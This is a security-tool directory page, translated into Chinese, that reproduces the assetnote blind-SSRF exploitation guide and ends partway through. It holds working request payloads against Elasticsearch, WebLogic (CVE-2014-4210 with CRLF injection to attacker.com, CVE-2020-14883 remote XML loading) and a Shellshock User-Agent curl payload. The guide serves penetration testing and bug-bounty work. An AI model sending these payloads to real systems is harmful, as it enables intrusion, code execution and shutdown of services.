Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
blind-ssrf-chains — 一份详尽列表,涵盖所有可能利用你的盲SSRF漏洞进行链式攻击的方式 | Kitploit
工具/GitHubGitHub/assetnote/blind-ssrf-chains
侦察漏洞分析漏洞利用Web安全渗透测试云安全学习与教育精选资源
GitHubassetnote/blind-ssrf-chains

blind-ssrf-chains

一份详尽列表,涵盖所有可能利用你的盲SSRF漏洞进行链式攻击的方式

查看仓库
986122234年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

介绍

什么是服务端请求伪造(SSRF)?

服务端请求伪造发生在当你能够迫使服务器代表你发起任意请求时。由于请求是由服务器发起的,因此有可能根据服务器在网络中的位置访问内部资源。在云环境中,由于存在可能包含敏感凭证或密钥的元数据端点,SSRF 构成了更重大的风险。

盲 SSRF

在利用服务端请求伪造时,我们常常会发现自己处于无法读取响应的情况。在行业中,这种行为通常被称为“盲 SSRF”。在这种情况下,我们如何证明其影响?这是由 Justin Gardner 在 Twitter 上引发的一场有趣的讨论:

最近我发现了大量的盲 SSRF。大家过去曾使用过哪些一次性远程代码执行(RCE)作为切入点?我可以访问一些 Kafka 和其他很多东西。@nnwakelam @thedawgyg

— Justin Gardner (@Rhynorater) 2021年1月13日

如果你能够访问内部资源,有多种潜在的利用链可以执行以证明影响。这篇博文试图详细阐述在利用盲 SSRF 时每种已知的利用链,并将随着更多技术的发现和分享而更新。

如果我们遗漏了任何技术,请通过 Twitter 或私信告诉我们:@assetnote,我们将将其添加到这篇博文中。

SSRF 金丝雀

我倾向于称它们为 SSRF 金丝雀,当将盲 SSRF 链接到内部另一个能够进行外部调用的 SSRF,或通过应用特定的开放重定向或盲 XXE 时。Confluence、Artifactory、Jenkins 和 JAMF 都有一些效果不错的例子。

— Frans Rosén (@fransrosen) 2021年1月13日

为了验证你可以与内部服务或应用程序交互,你可以利用“SSRF 金丝雀”。

这意味着我们可以请求一个内部 URL,该 URL 会执行另一个 SSRF 并调用你的金丝雀主机。如果你收到对你的金丝雀主机的请求,说明你成功命中了一个也能够发起出站请求的内部服务。

这是一种有效的方法,用于验证 SSRF 漏洞是否能够访问内部网络或应用程序,以及验证内部网络中是否存在某些软件。你还可以根据 SSRF 金丝雀所在的位置,可能地将其用作跳板,访问内部网络中更敏感的部分。

使用 DNS 数据源和 AltDNS 查找内部主机

目标是尽可能多地找到内部主机,可以利用 DNS 数据源来查找所有指向内部主机的记录。

在云环境中,我们经常看到指向内部 VPC 内主机的 ELB。根据你目标资产所在的 VPC,可能可以访问同一 VPC 内的其他主机。

例如,考虑以下从 DNS 数据源中发现的主机:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

你可以假设 `es` 代表 Elasticsearch,然后对此主机进行进一步攻击。你也可以将所有这些盲 SSRF 载荷喷洒到通过此方法发现的所有“内部”主机上。这通常很有效。

为了找到更多内部主机,我建议你将所有 DNS 数据收集起来,然后使用类似 [AltDNS](https://github.com/infosec-au/altdns) 的工具生成排列组合,并用 [快速 DNS 爆破器](https://github.com/blechschmidt/massdns) 进行解析。

完成此步骤后,识别所有新发现的内部主机,并将它们作为盲 SSRF 链的一部分使用。

## 侧信道泄露

在利用盲 SSRF 漏洞时,你可能能够泄露一些关于返回响应的信息。例如,假设你通过 XXE 实现了盲 SSRF,错误消息可能表明是否:

- 返回了响应

`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`

vs.

- 主机和端口不可达

`Error parsing request: System.Net.WebException: Unable to connect to the remote server`

类似地,除了 XXE 之外,Web 应用程序也可能存在侧信道泄露,这可以通过检查以下方面的差异来确定:

- **响应状态码**:

在线内部资产:端口返回 `200 OK`,而离线内部资产:端口返回 `500 Internal Server Error`

- **响应内容**:

根据你尝试请求的 URL 是否可达,响应大小(字节)会变小或变大。

- **响应时间**:

根据你尝试请求的 URL 是否可达,响应时间会变慢或变快。

---------------

# 技巧
**可通过 HTTP(s) 实现**

- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [其他 Atlassian 产品](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)

**可通过 Gopher 实现**

- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)

**工具**

- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)

----------------------------------

**可通过 HTTP(s) 实现**

<div id="elasticsearch"></div>

## Elasticsearch

**常见绑定端口:9200**

当 Elasticsearch 部署在内部网络时,通常不需要身份验证。

如果你拥有部分盲 SSRF 能力,可以判断状态码,请检查以下端点是否返回 200:```http
/_cluster/health
/_cat/indices
/_cat/health

如果你有一个盲SSRF,可以发送POST请求,你可以通过向以下路径发送POST请求来关闭Elasticsearch实例:

注意:_shutdown API已从Elasticsearch 2.x及以上版本中移除。此功能仅适用于Elasticsearch 1.6及以下版本:```http /_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

<div id="weblogic"></div>

## Weblogic

**常用绑定端口:80, 443 (SSL), 7001, 8888**

**SSRF Canary: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这也适用于GET请求:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

此端点也容易受到 CRLF injection 攻击:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

将产生以下请求:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive

sdf
**SSRF Canary: CVE-2020-14883**

来自 [这里](https://forum.90sec.com/t/topic/1412).

Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

<div id="consul"></div>

## Hashicorp Consul

**常用绑定端口:8500、8501(SSL)**

相关文章可在[此处](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)找到。

<div id="shellshock"></div>

## Shellshock

**常用绑定端口:80、443(SSL)、8080**

为了有效测试Shellshock,您可能需要添加包含有效负载的请求头。以下CGI路径值得尝试:

待测试的CGI路径简要列表:

[包含路径的Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4)。

**SSRF Canary:通过User Agent进行Shellshock**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

常用绑定端口:80, 8080, 8888, 8082

Apache Druid 的 API 参考文档请参见此处。

下载工具